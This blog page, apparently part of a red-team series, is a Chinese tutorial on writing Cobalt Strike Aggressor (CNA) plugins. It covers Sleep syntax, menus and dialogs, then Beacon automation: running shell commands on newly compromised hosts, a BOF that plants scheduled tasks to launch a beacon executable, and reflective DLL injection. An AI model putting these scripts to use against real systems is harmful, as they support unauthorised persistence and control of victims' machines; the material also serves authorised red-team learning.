Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 简介
  • Sleep语言入门
  • 变量
  • 数据类型
  • 遍历操作
  • 函数定义
  • aggressor命令行
  • 查看帮助
  • 加载脚本
  • 设置输出字体颜色
  • CNA常用操作
  • 绑定快捷键
  • 菜单编写
  • 编写对话框
  • 数据模型
  • Beacon
  • 常见示例
  • 与BOF相关
  • 反射dll执行
  • 推荐编辑器
  • 参考链接
  1. CobaltStrike系列

CNA插件开发

简介

Cobalt Strike的Aggressor脚本(.cna文件)是用一种名为Sleep的脚本语言编写的。Sleep语言是一种简洁的、动态类型的、类似Perl和JavaScript的语言,它被设计用来方便地进行脚本编写和快速原型开发

Sleep语言入门

变量

Sleep使用 $ 符号来定义变量。例如,$x = 5; 将变量 x 的值设置为5

数据类型

Sleep支持多种数据类型,这里主要讲两种,分别是数组(array)和哈希表(hash)

在 Sleep 中,你可以使用 @ 符号来创建数组。Sleep 还提供了一些函数来操作数组,例如 push()(将一个元素添加到数组的末尾)和 size()(获取数组的大小)

哈希表(也称为字典或映射)是一种可以存储键值对的数据结构。在 Sleep 中,你可以使用 % 符号来创建哈希表

# 创建一个空的数组
$my_array = @();

# 使用 push 函数将元素添加到数组的末尾
push($my_array, 1);
push($my_array, 2);
push($my_array, 3);

# 使用 size 函数获取数组的大小
$size = size($my_array);  # $size 的值现在是 3

println("Array: " . $my_array);  # 打印出 "Array: @(1, 2, 3)"
println("Size: " . $size);  # 打印出 "Size: 3"

# 创建一个空的哈希表
$my_hash = %();

# 将键值对添加到哈希表
$my_hash['key1'] = 'value1';
$my_hash['key2'] = 'value2';

# 获取哈希表的所有键和所有值
$keys = keys($my_hash);  # $keys 的值现在是 @('key1', 'key2')
$values = values($my_hash);  # $values 的值现在是 @('value1', 'value2')

println("Hash: " . $my_hash);  # 打印出 "Hash: %(key1 => 'value1', key2 => 'value2')"
println("Keys: " . $keys);  # 打印出 "Keys: @('key1', 'key2')"
println("Values: " . $values);  # 打印出 "Values: @('value1', 'value2')"

遍历操作

1.遍历数组:你可以使用 foreach 语句来遍历数组,如下所示,这个脚本会打印出数组中的每一个元素

$my_array = @(1, 2, 3, 4, 5);

foreach $element ($my_array) {
    println("Element: " . $element);
}

2.遍历哈希表:使用 foreach 语句来遍历哈希表。需要注意的是,遍历哈希表时,每一个元素都是一个键值对,如下代码会打印出哈希表种的每一个键和值

$my_hash = %(key1 => 'value1', key2 => 'value2');

foreach $pair ($my_hash) {
    $key = $pair[0];
    $value = $pair[1];
    println("Key: " . $key . ", Value: " . $value);
}

函数定义

你可以使用 sub 关键字来定义函数,如下代码所示, 在command定义中,$1表示第一个参数;command关键字用于定义一个新的命令,当你aggressor命令行输入MyAdd加参数,命令的代码就会被执行

sub add {
    $x = $1;
    $y = $2;
    return $x + $y;
}

command MyAdd{
	$sum = add($1,$2);
	println("result=".$sum);
}

aggressor命令行

查看帮助

点击Script Console打开脚本控制台

然后输入help查看命令帮助,我将这些命令及其对应的含义总结在以下表格中了

命令
描述

!

执行shell命令。! ls将会在你的系统shell中执行ls命令

?

获取关于特定命令的帮助信息。例如,? load将会显示有关load命令的帮助信息

e

执行一段Aggressor脚本。例如,e println('Hello, World!');将会在命令行中打印出Hello, World!

help

获取命令行的帮助信息

history

查看命令历史

load

加载一个Aggressor脚本(.cna文件)

ls

列出当前已加载的Aggressor脚本

proff

关闭Aggressor的性能分析

profile

显示Aggressor的性能分析结果

pron

开启Aggressor的性能分析

reload

重新加载所有已经加载的Aggressor脚本

troff

关闭Aggressor的跟踪功能

tron

开启Aggressor的跟踪功能

unload

卸载一个已加载的Aggressor脚本

x

用于执行一个表达式并返回结果

加载脚本

在aggressor命令行执行load命令加载cna文件,以下是一个简单的字符串输出脚本代码。输入myprint,控制台输出“hello world”

command myprint{
	println("hello world");
}

除此之外,在CS的文件目录还有一个agscript文件,它用于运行Aggressor脚本(.cna文件)。你可以使用agscript来启动一个新的Cobalt Strike客户端,连接到一个Cobalt Strike团队服务器,并运行一个或多个Aggressor脚本,agscript的基本用法如下:

agscript [options] <host> <port> <user> <pass> <script> [<script> ...]
  • <host>、<port>、<user>和<pass>用于指定要连接的Cobalt Strike团队服务器的详细信息。

  • <script>参数用于指定要运行的Aggressor脚本。你可以指定一个或多个脚本

例如,你可以使用以下命令来运行一个名为my_script.cna的Aggressor脚本。这将会启动一个新的Cobalt Strike客户端,连接到运行在本地(127.0.0.1)的Cobalt Strike团队服务器,然后运行my_script.cna脚本

agscript 127.0.0.1 50050 myuser mypass my_script.cna

设置输出字体颜色

在Aggressor脚本中,可以使用 \c 跟随一个数字来改变接下来的文本颜色,以下是\c 后跟随的数字与颜色的对应关系:

默认颜色
黑色
红色
绿色
黄色
蓝色
白色

\c0

\c1

\c2

\c3

\c4

\c5

\c8

println("\c2This text is red.");
println("\c3This text is green.");
println("\c4This text is yellow.");
println("\c0This text is default color.");

CNA常用操作

绑定快捷键

使用关键字bind来绑定快捷键,以此执行指定的功能,如下代码绑定了快捷键Ctrl+H,当按了快捷键后会弹框提示“Hello World!”

bind Ctrl+H {
	show_message("Hello World!"); # 弹窗
}

菜单编写

1**.定义菜单**:使用popup函数定义一个新的菜单,如下所示,这将定义一个名为my_menu的新菜单

popup my_menu {
    # 菜单项将在这里定义
}

2.添加菜单项 :在 popup 块内部,使用 item 函数添加菜单项。如下所示,将在 my_menu 菜单中添加两个菜单项,名为 "Menu Item 1" 和 "Menu Item 2",当这些菜单项被点击时,会在控制台中打印相应的消息

popup my_menu {
    item("Menu Item 1", { println("You clicked Menu Item 1"); });
    separator();
    item("Menu Item 2", { println("You clicked Menu Item 2"); });
}

3.添加菜单到菜单栏:使用 menubar 函数将你的菜单添加到 Cobalt Strike 的菜单栏中,这将在菜单栏中添加一个新的菜单,名为 "My Menu",当你点击这个菜单时,会显示你之前定义的 my_menu 菜单

popup my_menu {
    item("Menu Item 1", { println("You clicked Menu Item 1"); });
    separator();
    item("Menu Item 2", { println("You clicked Menu Item 2"); });
}

menubar("My Menu", "my_menu");

如果你不想在菜单栏上创建新的菜单,而是想在默认的菜单上添加菜单项,例如你想在Help菜单添加菜单项,你可以这样做:

popup help {
    item("关于作者信息:", { show_message("作者是个大帅哥!") });
	sparator();
}

使用popup函数并指定beacon_bottom 作为参数可以在右键单击 Beacon 会话时添加一个自定义的上下文菜单

popup beacon_bottom{item("打开百度", {url_open("https://www.baidu.com"); });}

还可以通过menu语句来创建多级菜单,menu语句中还能再嵌套一个menu语句

popup beacon_bottom { 
    menu "beacon菜单" {
        menu "子菜单一" {
            item("子子菜单一", { show_message("这是子子菜单一"); });
            item("子子菜单二", { show_message("这是子子菜单二"); });
        }
        item("子菜单二", { show_message("这是子菜单二"); });
    }
}

编写对话框

以下代码编写了一个对话框,用于实现数据交互

# 在Beacon的右键菜单中添加一个新的菜单项 "添加用户",当这个菜单项被点击时,调用 mydialog 子程序。
popup beacon_bottom { item("添加用户", { mydialog(); }); }

# 这是一个回调函数,当对话框关闭时,会被调用。
# 它接收三个参数:对话框的引用,按钮的名称,以及一个包含用户输入的哈希表。
sub callback {
	show_message("用户添加成功!\n"."dialog的引用是:".$1."\n按钮名称是:".$2);
	println("用户名是:".$3["user"]."\n密码是:".$3["password"]."\n用户类型是: ".$3["user_type"]);# 这里callback函数接收到了dialog传递过来的三个参数
}

# 这是一个子程序,用于创建一个对话框,让用户输入用户名和密码。
# 它使用 dialog 函数创建一个对话框,设置了默认值,指定了回调函数。
# 它使用 drow_text 函数添加一个密码输入框。
# 它使用 dbutton_action 函数添加一个动作按钮,当用户点击这个按钮时,会触发回调函数。
# 它使用 dbutton_help 函数添加一个帮助按钮,当用户点击这个按钮时,会打开 http://www.baidu.com 网页。
# 最后,使用 dialog_show 函数显示对话框。
sub mydialog {
	$info = dialog("对话框的标题", %(user => "Administrator", password => ""), &callback); 
	drow_text($info, "user", "输入用户账号"); 
	drow_text($info, "password", "输入用户密码"); 
	drow_combobox($info,"user_type","用户类型",@("普通用户","管理员"));
	dbutton_action($info, "添加用户"); # 点击按钮,触发回调函数
	dbutton_help($info, "http://www.baidu.com"); # 显示帮助信息
	dialog_show($info); # 显示对话框
}

以下是编写对话框常用到的一些函数:

dialog 函数在 Aggressor 脚本中用于创建一个新的对话框,以用来显示消息,获取用户输入,或执行其他与用户交互的任务,基本语法如下(注意,虽然 dialog 函数创建了一个对话框,但它并不会立即显示这个对话框。要显示对话框,你需要使用 dialog_show 函数):

dialog(<标题>, <默认值>, <回调函数>)
  • <标题> 是一个字符串,用于设置对话框的标题。

  • <默认值> 是一个哈希表,用于设置对话框中各个字段的默认值。

  • <回调函数> 是一个函数,当对话框被关闭时,这个函数将被调用,对话框中用户输入的值将作为参数传递给这个函数

drow_text 函数用于在对话框中添加一个文本输入框。其基本语法如下

drow_text(<对话框>, <字段名>, <提示文本>)

这个函数接受三个参数:对话框(通过 dialog 函数创建),字段名(用于标识文本输入框),和提示文本(显示在文本输入框旁边的文本

dbutton_action 函数用于在对话框中添加一个动作按钮。当用户点击这个按钮时,会触发对话框的回调函数。这个函数接受两个参数:对话框(通过 dialog 函数创建)和按钮文本(显示在按钮上的文本)

dbutton_action(<对话框>, <按钮文本>)

dbutton_help 函数用于在对话框中添加一个帮助按钮。当用户点击这个按钮时,会在默认的网页浏览器中打开一个网页。其基本语法是

dbutton_help(<对话框>, <网址>)

drow_combobox函数用于在对话框中添加一个下拉列表(也称为组合框或combobox)。其基本语法如下:

drow_combobox($dialog, $key, $label, @options);
  • $dialog 是对话框的引用,通常是通过dialog函数创建的。

  • $key 是一个字符串,用于标识这个下拉列表。当用户在下拉列表中选择一个选项时,这个选项的值会被存储在对话框的数据中,可以通过这个键来访问。

  • $label 是一个字符串,用于显示在下拉列表旁边的标签。

  • @options 是一个数组,包含了下拉列表中的所有选项。

数据模型

Cobalt Strike的数据模型提供了一组功能,通过这些功能,你可以查询和操作Cobalt Strike中存储的各种数据。这包括目标信息、凭证、下载的文件、键盘记录等。这些功能通过一系列的函数提供,你可以在Aggressor脚本中使用这些函数

以下是一些常用的数据接口:

  • targets:用于查询和操作Cobalt Strike中存储的目标信息。

  • archives:用于查询Cobalt Strike最近的活动信息。

  • beacons:用于查询和操作Cobalt Strike中的Beacon会话。Beacon是Cobalt Strike的一个轻量级恶意软件,可以在受感染的主机上运行,并与团队服务器通信。

  • credentials:用于查询和操作Cobalt Strike存储的凭证信息。这些凭证可能是攻击者从目标系统上获取的密码、哈希值或Kerberos票据。

  • downloads:用于查询和操作Cobalt Strike下载的文件。

  • keystrokes:用于查询Cobalt Strike记录的键盘输入。

  • screenshots:用于查询Cobalt Strike获取的屏幕截图。

  • sites:这用于查询和操作Cobalt Strike托管的资产,例如监听器和stagers。

  • servers:用于查询和操作Cobalt Strike的团队服务器。

如下是使用targets函数查询beacon数据的实例:

  • x targets():这个命令返回了一个数组,数组中的每个元素都是一个哈希表,代表了一个目标。哈希表中包含了目标的地址('address')、操作系统('os')、主机名('name')和版本('version')。

  • x targets()[0]:这个命令返回了数组中的第一个元素,也就是第一个目标的信息。

  • x targets()[0]['address']:这个命令返回了第一个目标的地址。

Beacon

目标主机上线后,C2会为其分配一个唯一的随机数ID,我们可使用beacon_ids()来获取所有会话的ID

x beacon_ids()

获取到会话ID后,可使用beacon_info()来获取指定会话的所有数据

x beacon_info(beacon_ids()[0])

当然你还可以使用beacons()来获取所有会话的所有信息

beacon_initial是Cobalt Strike的Aggressor脚本中的一个预定义事件。当一个新的Beacon首次上线时,这个事件就会被触发,并返回一个会话ID($1)

如下代码所示, 它会在新的Beacon首次上线时弹出一个消息框,显示Beacon的一些基本信息

# 当新的Beacon首次上线时
on beacon_initial {
    # 获取Beacon的ID
    $beacon_id = $1;

    # 获取Beacon的一些基本信息
    $user = beacon_info($beacon_id, "user");
    $host = beacon_info($beacon_id, "host");
    $pid = beacon_info($beacon_id, "pid");
    $os = beacon_info($beacon_id, "os");

    # 构造要显示的消息
    $message = "新的Beacon上线!\n\n";
    $message = $message . "User: " . $user . "\n";
    $message = $message . "Host: " . $host . "\n";
    $message = $message . "PID: " . $pid . "\n";
    $message = $message . "OS: " . $os . "\n";

    # 显示消息框
    show_message($message);
}

binput函数实际上是将字符串发送到Beacon的命令行, 其第一个参数是beacon的ID, 第二个参数是你想要输出至beacon命令行的字符串

# 当新的Beacon首次上线时
on beacon_initial {
    # 获取Beacon的ID
    $beacon_id = $1;
	
    binput($beacon_id, "有一个beacon上线了");
}

bshell函数用于在指定的beacon会话执行一个shell命令

# 当新的Beacon首次上线时
on beacon_initial {
    # 获取Beacon的ID
    $beacon_id = $1;
    binput($beacon_id, bshell(beacon_id,"whoami"));
}

常见示例

与BOF相关

涉及函数

script_resource(path):获取脚本资源的路径,当然不只限于bof(.obj)文件,还可以是exe、cna等等。要注意的是,脚本资源的路径要一定填写相对路径( 相对于cna文件)

openf和readb:打开文件并读取

bofpack:将参数打包成一个字节流,然后传递给BOF中的go函数,其语法格式如下:

bof_pack($beacon_id, "iz", $my_int, $my_string);

其中参数2是格式字符串,用于指定参数的类型,这个字符串可以包含以下字符:

  • i:表示一个32位整数。

  • I:表示一个64位整数。

  • d:表示一个双精度浮点数。

  • z:表示一个以null结尾的字符串。

  • Z:表示一个以null结尾的宽字符串(即,每个字符由两个字节表示)。

beacon_inline_execute:用于在指定的Beacon中执行一个BOF,该函数接收四个参数:

  • 参数一:Beacon的ID,这是一个整数,表示你想要在哪个Beacon中执行BOF。

  • 参数二:BOF的内容,这是一个字节流,通常是你从BOF文件中读取的内容。

  • 参数三:BOF中的函数名,这是一个字符串,表示你想要执行的函数。

  • 参数四:传递给BOF函数的参数,这是一个字节流,通常是你使用bof_pack函数创建的。

alias:在Cobalt Strike的Aggressor脚本中,command和alias都是用来定义新的命令的,但它们的使用场景是不同的

command函数定义的命令是在Cobalt Strike的脚本控制台中使用的,而alias函数定义的命令是在Beacon的命令行中使用的

实例演示

如下实例演示添加计划任务

# $1 = beacon ID
# $2 = task_name
# $3 = author
# $4 = description
# $5 = command
# $6 = args

alias boftask {
    # 检查参数数量是否正确
    if (size(@_) != 6){
        berror($1,"boftask: args error");
        return;
    }
		
    # 打开BOF文件并读取内容
    local('$handle $data $args'); #定义了三个局部变量
    $handle = openf(script_resource("BofTest.x64.obj"));  # 打开BOF文件
    $data = readb($handle, -1);  # 读取BOF文件的内容
    closef($handle);  # 关闭BOF文件
	
    # 设置参数
    # 使用bof_pack函数将参数打包成一个字节流
    # "ZZZZZ"表示我们有五个宽字符串参数,小写的z表示以null结尾的字符串
    $args = bof_pack($1, "ZZZZZ", $2, $3, $4, $5, $6);
	
    # 执行BOF
    # 使用beacon_inline_execute函数来执行BOF
    # "go"是BOF中的函数名,$args是传递给这个函数的参数
    beacon_inline_execute($1, $data, "go", $args);

    # 向用户通知任务已经开始
    # 使用btask函数在Beacon的控制台中显示一条消息
    btask($1, "Creating scheduled task as $2");
}

如下是bof的代码,此处我只给出了go函数的代码:

void go(char* buff, int len) {
	
	// datap是BOF框架中定义的结构体,用于解析从Beacon接收到的数据
	// 当你在Beacon执行BOF时,可以向BOF传递一些参数,这些参数会被打包成一个字节流
	// BOF会使用datap结构体来解析这个字节流,从而获取到传递的参数
	datap parser;

	// 设置创建的计划任务的相关信息
	wchar_t* task_name,
		* author,
		* description,
		* command,
		* args;

	// 初始化datap结构体变量(parser),用于解析从Beacon接收到的字节流(buff)
	BeaconDataParse(&parser, buff, len); 

	task_name = (wchar_t*)BeaconDataExtract(&parser, 0); // 提取任务名
	author = (wchar_t*)BeaconDataExtract(&parser, 0); // 提取作者名
	description = (wchar_t*)BeaconDataExtract(&parser, 0); // 提取描述
	command = (wchar_t*)BeaconDataExtract(&parser, 0); // 提取要执行的命令
	args = (wchar_t*)BeaconDataExtract(&parser, 0); // 提取命令的参数

	if (!com_init()) // 初始化COM库
		return;

	if (!task_create(task_name, author, description, command, args)) // 创建计划任务
		
		return;

	CoUninitialize(); // 关闭COM库
}

beacon命令行执行:boftask "test" "henry" "this is bof" "C:\\beacon.exe" ""

​

查看目标主机的计划任务列表可以发现,计划任务成功添加上了

反射dll执行

涉及函数

bdllspawn是一种使用Cobalt Strike进行DLL注入的技术,它允许攻击者在新的或已存在的进程中注入并执行DLL。这种方法通常用于创建新的进程,并将恶意DLL加载到该进程中执行,但是创建新进程可能会引起安全软件的注意

bdllinject允许攻击者将DLL注入到已存在的进程中。这意味着攻击者可以选择一个正常运行的、不会引起怀疑的进程,并将其用作恶意DLL执行的宿主,如果选择的宿主进程被安全软件密切监控,或者如果DLL注入导致进程行为异常,这种方法可能会增加被检测的风险。相比bdllspawn,该函数无法在插件中实现传递参数给dll文件。

实例演示

如下Aggressor代码用于测试反射dll能否加载成功

# 测试反射dll注入
alias rdi_inject{
    local('$bid $dll $args');
    $bid = $1;
    $dll = "C:\\your.dll";
    btask($bid, "Injecting reflective dll into new process!(fork run)");
    bdllspawn($bid, $dll, "Hello World", "test dll", 5000);
}
#include "ReflectiveLoader.h"
#include <iostream>

extern HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
	BOOL bReturnValue = TRUE;
	DWORD dwResult = 0;

	switch (dwReason) {
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		fflush(stdout);
		if (lpReserved != NULL) {
			printf("Parameter: %s\n", (char*)lpReserved);
		}
		else {
			printf("No Parameter!");
		}
		
		fflush(stdout);
		ExitProcess(0);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}

beacon命令行测试Dll能否运行成功

推荐编辑器

VS Code是一个非常流行的、功能丰富的代码编辑器,支持通过插件扩展其功能,可以安装CobaltStrike的官方插件来方便CNA脚本的编写

​

参考链接

  • https://cloud.tencent.com/developer/article/1785567

  • https://www.bilibili.com/video/BV1pU4y1C7xh/?spm_id_from=333.337.search-card.all.click&vd_source=a6caf742912abf241ffbcb3c11933841

  • https://maka8ka.cc/post/cobaltstrike-bof%E5%8F%8A%E5%AF%B9%E5%BA%94%E7%9A%84cna%E8%84%9A%E6%9C%AC/

  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

上一页Cross2生成LinuxShell下一页Profile编写规则

最后更新于7个月前

如下cpp代码依赖项目,可以用lpReserved来传递参数给dll(注:如果要将传递的参数打印至beacon命令行界面,最好使用printf来输出,若以unicode形式来输出参数可能会出现乱码)

ReflectiveDLLInjection
image-20230727155139688
image-20230727112238315
image-20230727112339184
image-20230727113004196
image-20230727155823268
image-20230727164425404
image-20230727220057794
image-20230727220902112
image-20230727223227144
image-20230727224843469
动画
image-20230728162325748
image-20230728201140055
image-20230728201255534
image-20230728201818389
image-20230728214409457
image-20230728223136147
image-20230728223909986
image-20230729203742049
image-20230729203824196
image-20240319211213892
image-20240302152742786